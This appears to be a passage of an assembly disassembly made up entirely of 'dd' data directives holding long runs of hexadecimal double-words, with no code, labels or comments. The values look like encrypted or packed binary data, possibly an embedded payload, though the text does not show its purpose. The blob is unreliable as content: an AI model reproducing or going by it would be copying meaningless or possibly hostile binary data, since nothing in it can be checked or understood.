		dd 5E686C7Ch, 0BAE0CC82h, 7726EA95h, 0CA205D70h, 0C32926DFh
		dd 4F120245h, 306031EAh, 5F81A688h, 216EA621h, 48FB301h
		dd 88EED9EAh, 2644DD32h, 1A8F262Ah, 0D06A5CF1h,	9788EC57h
		dd 59B14BFEh, 5F2884E9h, 9FDAF94Eh, 54E8BF0Bh, 0E7609873h
		dd 554EBC68h, 11E63E30h, 98224F13h, 0E970569Dh,	2D00C69Ah
		dd 100E59DCh, 2C348A05h, 84A14D78h, 8056B12Ch, 6814E581h
		dd 0FAAD5B4Fh, 0EC703705h, 0E837C46Dh, 0CAAD24D0h, 3D5C4301h
		dd 9F77497Fh, 0F9509003h, 0C88AE967h, 155C400Fh, 7C8974A2h
		dd 0F8C72DC6h, 18605B76h, 483ED363h, 8705A142h,	0AED5B8C5h
		dd 58E401D2h, 827EB585h
		dd 50E9B654h, 669F7346h, 0BC1AF2CFh, 0FD5917D7h, 0C9508F20h
		dd 0FF14A9F0h, 40C4039Eh, 0BF01FC29h, 20617835h, 8597E6F2h
		dd 35C3D09Eh, 170FC9D6h, 0BF957A0h, 44A86F49h, 0AB4EFD80h
		dd 0D00C3105h, 0D880255Ah, 6B7A00Ch, 353930E9h,	299BEA83h
		dd 9D8C8A2Ch, 9FBAF516h, 455C1E1Ah, 0CDD6F5C1h,	812AF478h
		dd 73DFAE7Ah, 0A85B7852h, 77A8D412h, 0ABD8022Fh, 5A8259B7h
		dd 9B8ECC89h, 5BB05067h, 451D7458h, 7AA5E328h, 0B0E7FF2Ch
		dd 4E68E952h, 94F2463Bh, 0E8985124h, 77DE4112h,	3E37BDA0h
		dd 0C90350C5h, 64536DC8h, 22B6F1B0h, 0E6C81EF4h, 98E98401h
		dd 574192B1h, 68403E59h, 2823617h, 0DEF75E13h, 1C02E6C1h
		dd 29F9A4F5h, 2F3DB2D1h, 625F5B02h, 3183579Ah, 0E91EED62h
		dd 6D57A2E3h, 0BBF96CC4h, 47C9688Eh, 0B84E195Fh, 2914454h
		dd 36391272h, 0A059750Bh, 38EDB180h, 0DA627FDBh, 0D4CB6D71h
		dd 47D7E91Bh, 0FAC634DEh, 50F35340h, 0BD39ADA5h, 2A49D88h
		dd 3AD05392h, 8C39C1D5h, 0E44BC03Ch, 3926E170h,	0EE008C0Ch
		dd 22E94A89h, 39F34C01h, 0B85E9538h, 5279E15Ch,	0CB6E0775h
		dd 92C510FEh, 49F10C4Ah, 5D810C12h, 0E9C2D627h,	0E4A1A185h
		dd 3E6E382Dh, 3C50C201h, 0D0822F8Ah, 7E40DC3h, 0D7E2100Bh
		dd 134DD3E5h, 0F1C2E579h, 3DC32832h, 954403B8h,	3DC23522h
		dd 0F95E010Bh, 0BD5AB641h, 7C85BD65h, 1DEFBF08h, 0D1E602F1h
		dd 50DD3875h, 0A78EF5Ch, 2FA507B1h, 0F03B19DDh,	0A4FD660h
		dd 370F49D5h, 0A25644FBh, 3D13F1F3h, 6045C90Fh,	0C7976121h
		dd 0E08F9DA6h, 0A0937E20h, 480C06ABh, 0C7039F94h, 0E5879A8h
		dd 0B7D0C3Dh, 5D893945h, 51BFBC10h, 5F4BE2B6h, 0B18DD510h
		dd 1055A80h, 0BDD1A9EEh, 0CDC78957h, 0D89D7C5Bh, 0E303CBC6h
		dd 2DE9A760h, 1175F1AAh, 0D649EA37h, 1232C320h,	0BC5F585Eh
		dd 0A4FAA45Dh, 494BE2EDh, 480F0B5h, 0F644705h, 0DD013506h
		dd 68758E43h, 0A12C1558h, 9DA3D9CAh, 6FD06D31h,	17147DF3h
		dd 0BD2314E0h, 3EACC9EBh, 97063370h, 0EA583B24h, 715CDAD9h
		dd 6427BDE6h, 0F06A75E2h, 26C14384h, 179E0F88h,	18F8EF31h
		dd 551974B0h, 3840A0C6h, 950C98E5h, 7ADF0D62h, 0E22A963Ch
		dd 95DAF3A5h, 0B587AF5Ah, 36FADB3h, 76C068BBh, 0CFDA22BAh
		dd 0FC2570D6h, 2CF9413Eh, 2EC12E20h, 15D1356Ch,	8AFE06Eh
		dd 90305B5Ch, 0E3114117h, 0D41F60ADh, 50228F60h, 0D1E92F01h
		dd 0C6F58362h, 96A1F60Ah, 0B652067Fh, 937BB63Eh, 0ABBDE37Dh
		dd 0B1C277EAh, 47FE296Ch, 0B7F8EC4Eh, 68126EC3h, 410B523Eh
		dd 0EE7AC46Eh, 7E1BD522h, 6EC82D27h, 2FE168BDh,	0B2F1FEEDh
		dd 0F36B83C2h, 0E8A36D80h, 0C101EB83h, 4D5BE012h, 0F80C8077h
		dd 290AB539h, 0BC62CBD9h, 657D7562h, 0B780A203h, 1AB0C914h
		dd 0EE28459Eh, 24CBC4A0h, 0A67F5E2Ch, 0A644815Ah, 823E1C18h
		dd 8A2E018Ah, 0CE01EAFEh, 73CA0DC8h, 0EBDA30h, 297BDE1Dh
		dd 0F151E9F7h, 0D3541E95h, 199401BEh, 66058C2Ah, 0F450509Ah
		dd 0DA4F1214h, 354831D4h, 0AE815EF7h, 5341026Ch, 10C77D59h
		dd 0ED4F0B58h, 0B0B710A5h, 913533Fh, 0EF712082h, 2AB02F24h
		dd 397EE106h, 97A0A01h,	0F7FEDF96h, 0DB25527Ch,	27E92C87h
		dd 0E978A5FCh, 0EBC15A49h, 2EE6CB50h, 74A64FFAh, 65560501h
		dd 883F3D53h, 0AA2D6887h, 0BFBD354h, 2862CBE9h,	80F553C0h
		dd 4CB8EB79h, 0F7F53A4Eh, 0FB730FD6h, 0B2AB9174h, 56508109h
		dd 0C175C8E9h, 8862A86Bh, 0E3B009EAh, 32085C6h,	5F209010h
		dd 0CF1CF9AEh, 25DA8B55h, 0EEC80E5h, 146B512Eh,	0E67F9888h
		dd 0F8BA8070h, 7B994B19h, 5D02E332h, 0B51A868h,	2A45F1E5h
		dd 0F6D0A7F4h, 17D9166h, 0FE3409EAh, 34C3460Fh,	0C050883h
		dd 5E8563A3h, 318523B9h, 5AFB4D7h, 0FA843768h, 94CD3A0Bh
		dd 7A894111h, 0B5E8E0E4h, 20D5E766h, 5ED864DAh,	0E1A281BFh
		dd 70C1CCD7h, 0DA98E9ECh, 2859CE13h, 32C97810h,	4C706AAh
		dd 6553EADFh, 4BE84FAh,	0FE29E030h, 6A53167h, 0F600E6A9h
		dd 0C5380377h, 1F9EF531h, 1FE5D13h, 3016965Ch, 86F4202Eh
		dd 0ECACBC40h, 44D54A65h, 16BBCE52h, 0D113BBECh, 2A00E8Ah
		dd 2A084CCDh, 0D6703F04h, 0EF9028BBh, 5A1B4BB7h, 2028F50Ch
		dd 73BFB9FEh, 81E0ADC6h, 774EBD68h, 2364F530h, 8654DB2h
		dd 24880669h, 42DE260Bh, 20F928B6h, 2716E300h, 4ECF6872h
		dd 0F973300Bh, 3B3F6421h, 0A7F830E9h, 1D1892C2h, 0A42961C3h
		dd 48082014h, 0AF20C058h, 0FCE3B427h, 95C4825Ch, 31D7E788h
		dd 483864C1h, 0C987B11Dh, 4E9EF446h, 0C0DBF609h, 265D0E3h
		dd 3CD80A1h, 8A7839E9h,	4F55D2B5h, 0B03312C0h, 0D3A0DE88h
		dd 1095E59Eh, 1D2F05A1h, 65EDC10Eh, 55746558h, 0A22002BAh
		dd 716825A7h, 4845398Fh, 2E30AB27h, 0F6910A09h,	3D409D59h
		dd 5B1322F1h, 5A0112D0h, 6E4E8E27h, 648B0A2Eh, 9B0A0CCh
		dd 2792CD2h, 0F8342D7h,	417BA908h, 90B75FF2h, 0AA4DB59Ah
		dd 8EE3D585h, 7117BE81h, 210C20B1h, 0BFF43D4Ah,	145A3296h
		dd 54762AB6h, 0C82C4A3Ch, 59E407Ah, 0B185220Ah,	0DD20E3DBh
		dd 5BAC5425h, 1075A5EAh, 81ACA176h, 7BFC3A59h, 65384DDFh
		dd 12F06F65h, 1087FDB8h, 99342E0Ch, 0AA848609h,	270113ECh
		dd 99A7BC96h, 0ABF4C47Eh, 4E2AB8F0h, 1B422F3h, 0A73F65F5h
		dd 62633779h, 0AD5A4FBFh, 2F4C357Eh, 0B05B4DE6h, 0CDCEF77h
		dd 362AB018h, 2F3994Ah,	88A82C2Ah, 0DD67907Dh, 4F6082AEh
		dd 520040EAh, 4EB8502Ch, 97E5CF70h, 30204978h, 0E60795EFh
		dd 0AE52F468h, 7705B132h, 29094551h, 6536F9CEh,	0FE8EEF56h
		dd 20246628h, 514AABE1h, 72A479FAh, 0ABFE1C88h,	0D038F725h
		dd 87C2D601h, 0D62A91E9h, 2569CA14h, 4B236418h,	2DC94D9Fh
		dd 8E00D112h, 0C7216AFh, 4A572504h, 85BA65AEh, 0AC7C0ECh
		dd 0EEA22202h, 2CCC3AA2h, 48FA5090h, 911AC17h, 0E14500FCh
		dd 0A150F820h, 363E9FDEh, 7001ECAh, 5737792Eh, 97A1F3E9h
		dd 0BF4EAA9Ch, 0A9FC1123h, 67C97DE9h, 0EB24C42Fh, 0FD5E88A7h
		dd 1EF9933Dh, 0C418AD96h, 2ABC59E9h, 0E449F95Fh, 5409B5D7h
		dd 0D1076918h, 6B3039FAh, 0C2953BE9h, 0B79BF5D2h, 0A66328D9h
		dd 0AC07F934h, 0EF25E7D0h, 0C7F680EEh, 0E9802816h, 0CBF96B3Ch
		dd 2CA0608h, 69064E90h,	0FE06BB89h, 29248793h, 83C4553Fh
		dd 61313EE1h, 0D174A3AFh, 0E89CF74Bh, 71DD1695h, 0BEE97D52h
		dd 0F95A13AAh, 70BC3F45h, 0EBA1F3BFh, 2BAD79C5h, 0C425027Ch
		dd 0C650E8BBh, 8412168Ch, 8771013Eh, 2B1BF393h,	0EA8537B1h
		dd 0F33BAB68h, 404A096Fh, 0DAC20210h, 6254D15Bh, 0D9D102C2h
		dd 7FE9F642h, 0F459A24Ah, 1CA07F49h, 5CE42BBh, 0BA0111AEh
		dd 76C96563h, 0EE509BE9h, 5AB5905h, 0C50136AFh,	68886058h
		dd 659D77E4h, 8F5D090Fh, 2107E655h, 6849B953h, 821E289Fh
		dd 6971C5FDh, 7F0D7192h, 36CA204Bh, 3A8AFD5Fh, 4EE28A10h
		dd 8101F5E2h, 9150C3F2h, 81A44726h, 607ED6DFh, 2412A878h
		dd 5DE872D7h, 0C440B52Fh, 0BDEEDD08h, 0AD0E5A65h, 59E22AEFh
		dd 3AF5105Eh, 60760127h, 0DACE88h, 0C9795205h, 0C15D3144h
		dd 7351C537h, 42FCB3C9h, 0B990BFF4h, 819B4753h,	0EB59B58Ch
		dd 0B9D6298h, 7B75A921h, 0E8518807h, 0B6087C26h, 0C1FE0D5Fh
		dd 0D3832B04h, 0C7ACBD80h, 6866A840h, 0C86BFEAh, 0F6973C05h
		dd 0CC4C041Eh, 52CD46Dh
		dd 1F2A6B4Eh, 620843D7h, 0D1E475DCh, 0E54630BEh, 28E84B42h
		dd 0E9700E2Dh, 676FB44Dh, 40403B50h, 0B0F28951h, 0F707400Ch
		dd 0FCF9D94Bh, 5B98D411h, 0EC8068BBh, 5E163465h, 0BA003F8Bh
		dd 0DAFEE049h, 345A6CE9h, 76DE4D32h, 0AD33C26Eh, 245827EAh
		dd 6ACFFB97h, 0EB5CAFC3h, 95835350h, 2AB63721h,	0DA06AC7h
		dd 0E5191F4Fh, 6DCD0411h, 0BA21C442h, 0B2F50790h, 0CCC312D5h
		dd 5D3AD289h, 4359EB7Eh, 5E7F5CAh, 7EAFED1Dh, 9951C5A0h
		dd 66D1E922h, 0EBB4F8Ch, 0A9D29CF1h, 80AEE51Ah,	0A0E34ECh
		dd 0CEC37950h, 86F5F10Bh, 2299F789h, 42D9DAFEh,	0F2C7EA6h
		dd 132BE83h, 91C7F449h,	0B8E003B3h, 0B57DBBE9h,	894B98C6h
		dd 0CABBF413h, 46680B07h, 0CF01B060h, 93E9835Bh, 39326F7Ch
		dd 0B1256C22h, 0D7640C2Ah, 5935665Eh, 5AFDB430h, 0D428F1C8h
		dd 4EA29AEEh, 0B0ACE6D7h, 31034E4Dh, 3AA7608Bh,	0D39EF7F9h
		dd 35FDE03Ah, 0BC23FE00h, 6EB30541h, 1573F55h, 96DFFD4Fh
		dd 0AF5217EFh, 413E732Dh, 2554DD01h, 46A02B4Ah,	761DEA11h
		dd 11268B29h, 0ED130D5Dh, 4031CCFBh, 4CE11864h,	6F451DB1h
		dd 7113A8ACh, 128DEABDh, 0C5E6617Ah, 7A8C065h, 82BC5A95h
		dd 14F39608h, 0DFC75CE9h, 0A66AB3A7h, 0ACC34F03h, 0A2F3A61h
		dd 26E3C0Ch, 20CD28FAh,	0F09D82FEh, 0F2E8C750h,	809E21FAh
		dd 0FDE33E29h, 66B6A618h, 0FB4F895Bh, 0A14C35CAh, 3843C3E0h
		dd 5E402B2Fh, 9708A0BDh, 0FB4D745h, 0E91903BFh,	0E12F4EACh
		dd 2502FC6Bh, 6813434Ch, 0CCFD60CDh, 4EE957A0h,	689A81B5h
		dd 0A62B0F9Fh, 30FA9272h, 286855F1h, 18BD6D13h,	881058ADh
		dd 0D3167C74h, 6E1A805Ah, 1FC0FD06h, 0F324689Dh, 2CC44F78h
		dd 28BFA0D5h, 68FEF783h, 186D192Ah, 0FA5F789Dh,	6F59BFA5h
		dd 0EA790B5h, 5BD07810h, 0ABE00281h, 55110005h,	18FD2D7h
		dd 4D4FE87Dh, 0D04CEFADh, 0D47701D3h, 7B765A37h, 0F2F85B13h
		dd 4DBB6CC6h, 8DD6F11Eh, 0CEB82692h, 1711B558h,	0B41C7FA7h
		dd 0A7BD3D32h, 0BEE36004h, 6542ECF0h, 9467DC6Ah, 5785BA27h
		dd 3C16B6F2h, 0C177FCC7h, 27975FBDh, 962C8460h,	0C289EBDh
		dd 0B96ED8AEh, 0AB527507h, 15B7413Eh, 0E42D1238h, 2F970535h
		dd 7A99E53Fh, 5F0A949h,	0C0915FB2h, 0A6C0E005h,	49259074h
		dd 0C12DFCDFh, 3B55C7B1h, 5B4ABA0h, 0E93BA348h,	0CF53FE49h
		dd 0E9C4C0B3h, 3BBFECDDh, 97161240h, 0F13F27BDh, 1085C318h
		dd 4CB75A54h, 69613830h, 0F381658Eh, 64FD0D7Ah,	2762B0E5h
		dd 8051CD31h, 5622868Bh, 0BED4537Bh, 0D9A8B212h, 6DCABEB4h
		dd 21A66812h, 9DDD57A9h, 558C5F0Ah, 0B4E66D08h,	16BC6F2Ah
		dd 4449BFCDh, 91F004Fh,	0FA20BE7h, 0ADE9FD01h, 0FD9636B5h
		dd 0F8E4A1h, 7F62968Bh,	0D4394A77h, 0EE7672AFh,	185C02C2h
		dd 3A1845BDh, 0CBB64CDCh, 47A70112h, 1D25B951h,	68EACA71h
		dd 606ACC3h, 66306808h,	211C25DDh, 0A6052B12h, 0C4AE4BFh
		dd 6688344Ah, 8E969D5Ah, 0A3206BA6h, 5DD9F3E5h,	529C4F2Eh
		dd 0D82FC1A4h, 1E55A10Ah, 0DD23E06Bh, 266E6895h, 1A58272Dh
		dd 5908B1E0h, 3CD9295Eh, 0DA1C1104h, 82C96D2h, 50D9653Eh
		dd 10960B57h, 0CC61DA31h, 0E5983A43h, 0C92927Bh, 6ACDB226h
		dd 0DF640949h, 1C4197CAh, 0B1856F0Fh, 4FBCCBEEh, 0EB4130FBh
		dd 724FDC1Dh, 1250A1B0h, 0E24A83E9h, 0F55C373Fh, 6F9E6841h
		dd 886F8C6Eh, 42FFD35Ah, 0B5E1E970h, 82DA6755h,	0B158E955h
		dd 28773FE8h, 80010893h, 2941AD70h, 64089942h, 43B220DFh
		dd 6A44BD09h, 0E96C9376h, 0A36FC7BCh, 2AB00BC6h, 0A9AA297Dh
		dd 2C2502DFh, 0F9090256h, 499D7CC5h, 2A41C9C2h,	0E9A0C02Dh
		dd 5303DDFFh, 5BD747F6h, 0E2176780h, 0C75E3063h, 338B1483h
		dd 2F4D9C5h, 3E483923h,	3E50054Dh, 18CD09C1h, 915D16C0h
		dd 6F685EF5h, 6FB46809h, 0E9040EC5h, 369801B5h,	2F8FBD10h
		dd 9A60888Bh, 0E6BDFF68h, 3AEAF849h, 0F04FCAFEh, 0A85B9596h
		dd 7165B6E4h, 203486Bh,	8C789A01h, 64CBE94Eh, 0A2296832h
		dd 0E2192523h, 0ECD85847h, 5E5B7A59h, 0C47EA021h, 0C2012A93h
		dd 2E19353Bh, 4013A87Ah, 0A4C8B08h, 0A8E9829Dh,	36CC5DB9h
		dd 2D7122E1h, 206A70CEh, 0C8B021D4h, 0F7D30327h, 0F5FA6A14h
		dd 16FBFE97h, 0E08AEE3Ch, 489CA393h, 3856E005h,	6F745C94h
		dd 530D5232h, 54B8D341h, 8BB0EBA1h, 0BF6712EEh,	0C9900415h
		dd 44BE01CCh, 0A03FA547h, 0FA7DA9CEh, 2DBB9B4Eh, 0E9002F57h
		dd 586E0F35h, 1504EDCh,	0DA2DB601h, 0DC303E55h,	9F9270E9h
		dd 0DEEBB42Eh, 8C01E026h, 9A79F80Fh, 0D86F8931h, 4BBA05A9h
		dd 0A0F26A98h, 0E10E05C7h, 0A1104E0Eh, 4BB72927h, 0F30A092Ah
		dd 594BAAF0h, 0DD4FC1A8h, 20C50253h, 9E7D08F7h,	5147D5D2h
		dd 1A00BEACh, 5D6D4A49h, 0C8DD4CF7h, 0CB790510h, 5F42C8D2h
		dd 0C50580A1h, 207D0C1Dh, 274B8447h, 0A22DE87Ch, 69CBFC07h
		dd 0A97984h, 0DB6B5BBDh, 7FF2B56Fh, 20CB1355h, 0F13D5F26h
		dd 1C061711h, 946A08F2h, 44A40083h, 0C0E93978h,	5DD10597h
		dd 96025799h, 0A759715Ah, 658BF0DCh, 20B44629h,	0F8BD9E0Fh
		dd 0CA9A20CFh, 0FE586600h, 5EFC0C7h, 0CE8CEA80h, 0FD09F506h
		dd 1110AED4h, 40131858h, 8946A958h, 0FD9E03Ch, 0E2C180D6h
		dd 487660BDh, 0BF78F23Bh, 4426EEF0h, 5080298Ah,	334C3FB8h
		dd 2803BE02h, 75613C69h, 0E45A70AFh, 655A0881h,	1BBEE0ECh
		dd 2062749Fh, 2502A108h, 0EF46253Bh, 140CCA58h,	27FE2717h
		dd 8A0E0DEh, 0C6491DFAh, 0A5CE3B52h, 0CE51620Dh, 8167A1D4h
		dd 1EFEE8CFh, 0BC74BD99h, 5EBD550Eh, 5E051753h,	0C6D03793h
		dd 0E81169BEh, 2F19556h, 0FD275E1Fh, 0A1912405h, 4BFC7B9Ah
		dd 3A02FA1h, 0EE70F8BEh, 36D25Ah, 4A0EC683h, 57003F5Bh
		dd 15DFCBFh, 5E59E920h,	9475A65Fh, 5C33208Ch, 8B9EF729h
		dd 0BCD97948h, 0E67A6D8Bh, 0B440FF1h, 0F5014565h, 93AAFBE9h
		dd 3BF85894h, 92376A00h, 7251BF7Dh, 29F74012h, 109364FFh
		dd 0DC02EE99h, 4853A03Ch, 0CC1738E1h, 0E92629AEh, 0DAA0C982h
		dd 7ECB34Eh, 8C49B24Bh,	0BA325230h, 0BCB5FA65h,	4EE2856Ch
		dd 0EEAA842Fh, 16C574C0h, 57EE3069h, 0E11E70Ch,	13FB2540h
		dd 9BB7E82h, 0D591DD8Dh, 3C66956h, 7D63CCC2h, 0B40C1E62h
		dd 0F281352h, 89792B97h, 0D5F0DCE8h, 0CF4D7E97h, 0A5FA6D6Ah
		dd 0F2807B60h, 7E6EAC5Dh, 2E82DC9Fh, 2E0F58E2h,	0ACE40182h
		dd 0AF3CC559h, 0E0017C4Ch, 0E9448365h, 117A3D9Bh, 86406F8Bh
		dd 24FCB8B2h, 0ACE2BD23h, 0E929272Ch, 92D0CDF5h, 0D134F0ACh
		dd 1BC1EF39h, 0E90C4F02h, 0A77D9552h, 0E4E1ED4h, 0CFC4546Dh
		dd 8FEEC9A1h, 4281063Ch, 0FF700462h, 2B60A840h,	5A34B02Dh
		dd 0A31A0E95h, 0EFCE8ECAh, 38C92F81h, 506E8829h, 0BE560048h
		dd 0B307A77Fh, 4770997h, 0FF132395h, 2631A389h,	0B0CBF22Ah
		dd 9D251E68h, 0BB885394h, 769DD979h, 0D617BC05h, 5E74EFDBh
		dd 0F253804Ch, 0B7197091h, 0BA7B28F4h, 0F78A0F9Eh, 6F4F110Ah
		dd 9242057Bh, 89447DEEh, 0E5DA42E2h, 0EEA50CA8h, 0C3338016h
		dd 82D106B7h, 0FFEEE3D9h, 101F04DBh, 82DE31EEh,	0CE81B4E7h
		dd 0D5F109AEh, 5E420176h, 0D493CCF2h, 7104CFEFh, 0C74CDC5Bh
		dd 1E25E098h, 0D177417Ch, 26D512C1h, 0F1FC2078h, 241B16AAh
		dd 0E094040Dh, 58BEB66h, 45BA2327h, 0D3B5707Ah,	0F5C66B18h
		dd 0A5685D09h, 5C6F547Bh
		dd 259F0A1h, 0A302D788h, 0F552FA86h, 7E9E20Bh, 8C02563Eh
		dd 0C74347ECh, 315F090Fh, 2A71693Dh, 67ACD6F2h,	6604CE10h
		dd 0AC39D268h, 0BACC8485h, 69C226C8h, 40FD27EDh, 829D4D8Ah
		dd 0A05FA40h, 0C62C417Ah, 8CA4972Bh, 0D78BA81Eh, 4D38034h
		dd 4C38160Dh, 3510E70Bh, 0A0F54F93h, 4DB5620h, 0CB295232h
		dd 58B48059h, 1A5A2012h, 0D112EDF3h, 0CFBA42E5h, 0D9558494h
		dd 0D8316048h, 0A56094E9h, 5CABEBFFh, 20CA986Ch, 5A168313h
		dd 9ECFE89h, 0BEECE085h, 0C45CEF66h, 7EF4AFAh, 97EC6FEh
		dd 0ED5620D4h, 0B6528Bh, 5AF0880Ch, 6AE92804h, 0C5D1925Fh
		dd 0CB2ACD64h, 70848ECh, 38BC5195h, 7AC2E6C0h, 1457697h
		dd 9071D8F6h, 6CB1E97Ch, 0D0AD35DEh, 0E9C462B2h, 30B9A14Bh
		dd 2502BF5Ah, 0F770CD63h, 7F61C0D7h, 0FBD253Ch,	0EF83557Eh
		dd 0CC301C56h, 57EF09BFh, 7EB6E011h, 0FF29C609h, 7534E847h
		dd 77D31782h, 75F8B694h, 39300B5Bh, 4A6A0708h, 95AD0964h
		dd 0D60978Eh, 30147F82h, 86D241F1h, 0DB213F8Dh,	0ED2EECA7h
		dd 19C2C47Eh, 0BC774388h, 0E65812BFh, 0F15F26h,	1ABE4711h
		dd 48DCE32Eh, 0C7E6A4A8h, 47A30F13h, 8291D0FAh,	895A1EAAh
		dd 0D5251DB2h, 0E9AF1805h, 0B8ABD27Ch, 5A3C6082h, 55BF820h
		dd 0C034C8FEh, 0E11FAA28h, 8AF32657h, 34554116h, 0EAC15369h
		dd 2DFE7B74h, 0AD132E21h, 0A4A5E7BCh, 6810F17Eh, 9A10D1Ch
		dd 0F6F82EF5h, 0B02E2781h, 5127B16h, 0C5E153FEh, 68230065h
		dd 812A0302h, 33AEF705h, 82814215h, 0CC577E0h, 0FF76E12Bh
		dd 0C7CA7A9Bh, 6BEA91C1h, 0FAF1C53h, 0A413D73Ah, 330F342h
		dd 0BF45AE6h, 0A1594BE7h, 0CDED3ABCh, 0BC90FE92h, 0BFE6DCE9h
		dd 96A57CDBh, 29111F11h, 2748BCD4h, 8B49B817h, 262C7D45h
		dd 579C62F8h, 3CF578ADh, 5A332D31h, 0F40F210h, 0E9174A88h
		dd 73E4CAA0h, 5B222DD6h, 713F45Eh, 0E94E4502h, 0C6E4FD25h
		dd 8A094C00h, 40DB93Eh,	1D32D22h, 0DA5B0954h, 0E2D955C8h
		dd 994D8069h, 0F8478A20h, 111212E1h, 0DEEB8039h, 1D4F9273h
		dd 8CDD41BAh, 0F8345017h, 9AB56BFAh, 20AC6ED0h,	55589A7Ch
		dd 55D9276Dh, 5843BF3Ah, 7482256Fh, 0DDF92854h,	654F50E1h
		dd 4258072Fh, 2FC4918h,	0A5EDFB8h, 778A7D43h, 250201F5h
		dd 0EC540BB6h, 5A05BD35h, 0C63156B7h, 0F23E872Dh, 0F6490944h
		dd 16CA0075h, 95107440h, 0F75AC85Eh, 65FDD96Ah,	1977A590h
		dd 583C674Ch, 5506802h,	88C35582h, 0CF7FD19Ah, 0CBD12412h
		dd 0DCA556FCh, 2CC393E1h, 75B464Eh, 5E704431h, 0B98F1305h
		dd 0C9FB6F1Ah, 5AE8A4F3h, 3E1010E8h, 9684528Ch,	0EA9188FBh
		dd 9E202CB5h, 730D1A58h, 6CD54039h, 0CEA172Bh, 7BE5A023h
		dd 482DD340h, 7805D091h, 82A7055Dh, 0D3853213h,	72B60003h
		dd 810E455Bh, 9AB8C305h, 52E82D26h, 95E88925h, 0F80404CEh
		dd 0C1E94D27h, 128085E0h, 9801246Ch, 0D75EF629h, 2F18D5E0h
		dd 488796E9h, 0F1E59E5Ah, 0FFC74480h, 0C0F5F85Fh, 5F6313Fh
		dd 87214C59h, 5F45BC4Bh, 0EB8E612Ch, 0C5CA84C2h, 0C7B088A8h
		dd 0FE2D101Eh, 26887D6Fh, 2F102C08h, 0CD6468DEh, 4BEBA312h
		dd 781033F9h, 49B01D6Eh, 42E961D2h, 0B3E542Ch, 64C89A75h
		dd 0BF80A0EDh, 9F0500CCh, 13E78162h, 1D614731h,	1CFC3F8Eh
		dd 0B933FE89h, 0F4E90171h, 0C02A49F0h, 3517023Ch, 90480191h
		dd 4A0EE5EEh, 0D4C15320h, 7CC61DF6h, 9F4DA4FAh,	2C2B480Fh
		dd 12BC1875h, 0AA7FD4h,	83A4208h, 709D015Ch, 5E0880EFh
		dd 0C5C05AE9h, 0A082BFDEh, 0DA9163C3h, 0E08107EEh, 1E58A49Eh
		dd 0ABCA0126h, 8016DF10h, 0AD6B13ECh, 27A74813h, 0B3A9DF53h
		dd 16249974h, 81EC802h,	0A8226373h, 0B74DDC04h,	59BD8170h
		dd 0EE0C9293h, 9F49808Ch, 0BF00F789h, 2D5D9DFBh, 0FE196D0Fh
		dd 3BF24567h, 0BAB47EF9h, 0E5680A70h, 0C4D7820Dh, 0C054BD00h
		dd 0DF97F009h, 77AD0AE5h, 0F5D3A30h, 8C5768BDh,	443E1F15h
		dd 0C4C8135Bh, 0B399BA60h, 68E2E47Fh, 0F1DAD4F3h, 10E4C0B5h
		dd 2A7B093Eh, 0B708FB29h, 78F82508h, 69E25C2h, 41D00E4Bh
		dd 0EEF67B08h, 8489E915h, 4CF0EC5Bh, 51E6015Dh,	0DAF7392Eh
		dd 3F33142Eh, 0C1D4518h, 200B0C2Ah, 0C0B1E94Bh,	0F4FB899h
		dd 4805831Fh, 0EFF24C65h, 0CB9F20B3h, 0B2DFAE20h, 4750F5C7h
		dd 4B974E22h, 0D2C7918Ch, 0E69D89DCh, 16647704h, 36710CC1h
		dd 0F06A22FEh, 70492A9Fh, 0EE71E2Bh, 0FEA64909h, 0A08D92C0h
		dd 0BA09B8F0h, 42B0628Eh, 0F4EC4358h, 0D80C1F45h, 71030D05h
		dd 0F3811EEEh, 0E10D5F09h, 0F4A37E77h, 0F0950492h, 0DE42F9C5h
		dd 0B52F31CCh, 76C0F9C7h, 0E7C10246h, 1EF8306h,	2B05C560h
		dd 9C901EE0h, 9F7E440h,	45E5D1DDh, 0B5097FD0h, 83A05647h
		dd 13A7469Dh, 383C653h,	0F789E086h, 0BBEAB2E9h,	465D25D1h
		dd 1258092Bh, 7D536F4h,	8472012Dh, 5F707D7Eh, 44C20882h
		dd 884D6A69h, 3E23136Ah, 8A964F7Eh, 0D2FA1028h,	0B034BF4Ah
		dd 0C80717ABh, 406054BCh, 2EADC3B1h, 5C087F1Dh,	610BE2F3h
		dd 0A7029A29h, 68DEA296h, 0F55025BCh, 5E9DF596h, 4407C282h
		dd 928EAD18h, 0CDF42D03h, 0D8F564C2h, 62CC3362h, 63CF018h
		dd 5EEBA7EAh, 0DBA4187Fh, 470925C6h, 0D6513E77h, 785EAF94h
		dd 49122DC0h, 55F037Bh,	23197080h, 0E8E9B00Bh, 825C518Eh
		dd 71CA65D6h, 702C756h,	407B8746h, 2D1B6E02h, 475825B0h
		dd 0C7D5E02Dh, 0CB1A3BA0h, 9E6052E6h, 0CE0553C3h, 0D9310257h
		dd 0C80566CEh, 0D7CF5BE9h, 0D715620Ah, 9E24F859h, 69053E0Eh
		dd 72447D10h, 21D65350h, 73044E12h, 468B3500h, 27E92B19h
		dd 53F45447h, 1B08B748h, 0B77E317Dh, 0F2F8F190h, 0B9911E5Fh
		dd 0C2F949B1h, 84D15D45h, 6F60D6F7h, 44D95A10h,	0A891E59Eh
		dd 0D373C4B6h, 0E2DF5E0Bh, 0A6BB82D5h, 28137DADh, 0CFD1CC93h
		dd 23F924E2h, 325C7712h, 5458CFA8h, 92154C02h, 774B57h
		dd 3F119608h, 139B986Fh, 0C06EDC8Dh, 87E7BDEh, 40ED764Eh
		dd 806E0841h, 3F455A60h, 72997750h, 18A82C18h, 1A1A4F26h
		dd 470155EBh, 0D15D0801h, 1AF73BE1h, 16ACF8C4h,	1E2D9C00h
		dd 481A175Fh, 2E32ED56h, 1EE1F01Bh, 64E33AC0h, 0B164BE4Fh
		dd 106CE3BFh, 9070A397h, 0D82813ADh, 5FD59253h,	589D12D8h
		dd 6156A0E1h, 0FC117276h, 0ABD34A16h, 1A203325h, 0BC522068h
		dd 3B1D607Dh, 0D59867A1h, 41AC055Ah, 4A6F00D2h,	29514F1Fh
		dd 796D4B7h, 2AB02EDEh,	1E817C8h, 0E3C17B89h, 0D4A42B06h
		dd 5EEC39F3h, 0D3F7318Ch, 8313E410h, 6DE88296h,	1BD3C10h
		dd 0D6188BAh, 0BD2A4A14h, 24FD4A3Dh, 0C447E504h, 48434C7Ch
		dd 0A2D40485h, 0C886E964h, 4801F6CDh, 3121E61Dh, 98E75EF1h
		dd 0A35F076Ah, 8931CFEBh, 0C16FBDF3h, 35CF2C6Dh, 3095E933h
